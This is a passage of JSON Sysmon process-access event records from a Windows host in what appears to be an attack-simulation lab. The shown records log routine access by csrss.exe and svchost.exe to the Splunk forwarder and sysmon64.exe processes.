C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C5-5F2D-0000-001068B80500}","TargetProcessId":"5044","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\